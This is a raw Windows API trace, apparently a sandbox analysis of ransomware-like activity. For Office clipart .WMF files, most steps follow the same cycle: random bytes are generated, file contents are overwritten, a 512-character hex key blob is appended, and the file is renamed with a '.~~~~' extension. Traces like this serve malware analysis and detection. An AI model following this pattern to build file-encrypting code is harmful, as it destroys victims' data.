	[0115.560] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23555048061) returned 1
	[0115.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae6172b0, dwHighDateTime=0x1d60e1e)) 
	[0115.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ae90
	[0115.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ae90 | out: hHeap=0x300000) returned 1
	[0115.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f69d0
	[0115.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0900
	[0115.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0115.561] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.561] GetLastError () returned 0x0
	[0115.561] GetLastError () returned 0x0
	[0115.561] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.561] GetLastError () returned 0x0
	[0115.562] GetLastError () returned 0x0
	[0115.580] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffd6bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.581] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x2944, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x2944, lpOverlapped=0x0) returned 1
	[0115.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.582] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.582] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.583] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.583] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.583] CloseHandle (hObject=0x13c) returned 1
	[0115.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.~~~~")) returned 1
	[0115.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.584] GetLastError () returned 0x0
	[0115.585] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.586] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.586] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23557648331) returned 1
	[0115.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae63d410, dwHighDateTime=0x1d60e1e)) 
	[0115.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283af38
	[0115.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283af38 | out: hHeap=0x300000) returned 1
	[0115.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0ac8
	[0115.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.587] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.587] GetLastError () returned 0x0
	[0115.587] GetLastError () returned 0x0
	[0115.588] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.588] GetLastError () returned 0x0
	[0115.588] GetLastError () returned 0x0
	[0116.135] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffed9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.135] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1264, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x1264, lpOverlapped=0x0) returned 1
	[0116.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0116.136] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.136] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.137] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.137] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.137] CloseHandle (hObject=0x13c) returned 1
	[0116.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0116.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.~~~~")) returned 1
	[0116.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0116.181] GetLastError () returned 0x0
	[0116.181] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0116.182] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.182] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0116.183] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23617274504) returned 1
	[0116.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaec0a9b0, dwHighDateTime=0x1d60e1e)) 
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e85e0
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x300000) returned 1
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0116.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0c90
	[0116.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.183] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0116.184] GetLastError () returned 0x0
	[0116.184] GetLastError () returned 0x0
	[0116.184] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0116.184] GetLastError () returned 0x0
	[0116.184] GetLastError () returned 0x0
	[0116.188] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffab50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.188] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x54b0, lpOverlapped=0x0) returned 1
	[0116.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0116.190] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.190] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.190] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.190] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.190] CloseHandle (hObject=0x13c) returned 1
	[0116.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0116.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.~~~~")) returned 1
	[0116.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0116.191] GetLastError () returned 0x0
	[0116.193] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0116.194] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.194] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0116.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0116.194] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23618571219) returned 1
	[0116.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaec0a9b0, dwHighDateTime=0x1d60e1e)) 
	[0116.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0116.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0116.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0116.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8618
	[0116.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8618 | out: hHeap=0x300000) returned 1
	[0116.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0116.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b11e8
	[0116.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.197] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0116.197] GetLastError () returned 0x0
	[0116.197] GetLastError () returned 0x0
	[0116.198] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0116.198] GetLastError () returned 0x0
	[0116.198] GetLastError () returned 0x0
	[0116.261] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffb860, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.262] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x47a0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x47a0, lpOverlapped=0x0) returned 1
	[0116.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0116.263] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.263] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.263] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.263] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.263] CloseHandle (hObject=0x13c) returned 1
	[0116.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0116.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.~~~~")) returned 1
	[0116.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0116.265] GetLastError () returned 0x0
	[0116.265] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0116.267] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.267] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0116.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0116.267] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23625715483) returned 1
	[0116.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaeca2f30, dwHighDateTime=0x1d60e1e)) 
	[0116.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0116.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0116.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0116.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8688
	[0116.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8688 | out: hHeap=0x300000) returned 1
	[0116.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0116.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1280
	[0116.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.268] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0116.268] GetLastError () returned 0x0
	[0116.268] GetLastError () returned 0x0
	[0116.268] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0116.269] GetLastError () returned 0x0
	[0116.269] GetLastError () returned 0x0
	[0116.719] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffda9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.719] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x2566, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x2566, lpOverlapped=0x0) returned 1
	[0116.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0116.721] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.721] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.722] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.722] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.722] CloseHandle (hObject=0x13c) returned 1
	[0116.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.722] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.~~~~")) returned 1
	[0116.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0116.724] GetLastError () returned 0x0
	[0116.724] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0116.725] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.725] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
